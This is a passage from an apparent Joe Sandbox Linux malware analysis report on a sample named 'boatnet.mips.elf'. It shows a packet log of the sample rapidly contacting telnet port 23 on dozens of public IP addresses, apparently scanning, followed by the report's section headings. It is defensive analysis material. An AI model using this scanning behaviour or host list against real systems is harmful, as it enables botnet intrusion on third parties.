Jan 30, 2025 10:43:03.439301968 CET	38884	23	192.168.2.13	219.233.25.201
Jan 30, 2025 10:43:03.439301968 CET	38884	23	192.168.2.13	150.113.131.222
Jan 30, 2025 10:43:03.439310074 CET	38884	23	192.168.2.13	191.218.54.130
Jan 30, 2025 10:43:03.439321041 CET	38884	23	192.168.2.13	139.194.187.82
Jan 30, 2025 10:43:03.439321041 CET	38884	23	192.168.2.13	144.41.155.115
Jan 30, 2025 10:43:03.439325094 CET	38884	23	192.168.2.13	108.19.68.89
Jan 30, 2025 10:43:03.439331055 CET	38884	23	192.168.2.13	220.155.41.199
Jan 30, 2025 10:43:03.439331055 CET	38884	23	192.168.2.13	206.253.123.223
Jan 30, 2025 10:43:03.439332008 CET	38884	23	192.168.2.13	36.46.23.193
Jan 30, 2025 10:43:03.439332008 CET	38884	23	192.168.2.13	72.129.198.252
Jan 30, 2025 10:43:03.439332008 CET	38884	23	192.168.2.13	98.9.171.108
Jan 30, 2025 10:43:03.439332962 CET	38884	23	192.168.2.13	131.112.234.176
Jan 30, 2025 10:43:03.439336061 CET	38884	23	192.168.2.13	173.29.206.111
Jan 30, 2025 10:43:03.439342976 CET	38884	23	192.168.2.13	43.245.205.199
Jan 30, 2025 10:43:03.439357996 CET	38884	23	192.168.2.13	94.74.210.202
Jan 30, 2025 10:43:03.439357996 CET	38884	23	192.168.2.13	35.245.51.12
Jan 30, 2025 10:43:03.439359903 CET	38884	23	192.168.2.13	104.196.151.147
Jan 30, 2025 10:43:03.439366102 CET	38884	23	192.168.2.13	152.85.238.58
Jan 30, 2025 10:43:03.439380884 CET	38884	23	192.168.2.13	124.48.91.134
Jan 30, 2025 10:43:03.439380884 CET	38884	23	192.168.2.13	49.249.247.31
Jan 30, 2025 10:43:03.439389944 CET	38884	23	192.168.2.13	46.130.92.204
Jan 30, 2025 10:43:03.439394951 CET	38884	23	192.168.2.13	62.140.228.163
Jan 30, 2025 10:43:03.439399958 CET	38884	23	192.168.2.13	138.243.96.227
Jan 30, 2025 10:43:03.439399958 CET	38884	23	192.168.2.13	49.83.18.30
Jan 30, 2025 10:43:03.439404011 CET	38884	23	192.168.2.13	191.92.95.80
Jan 30, 2025 10:43:03.439409018 CET	38884	23	192.168.2.13	96.161.47.167
Jan 30, 2025 10:43:03.439418077 CET	38884	23	192.168.2.13	168.5.246.156
Jan 30, 2025 10:43:03.439424992 CE

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report boatnet.mips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
boatnet.mips.elf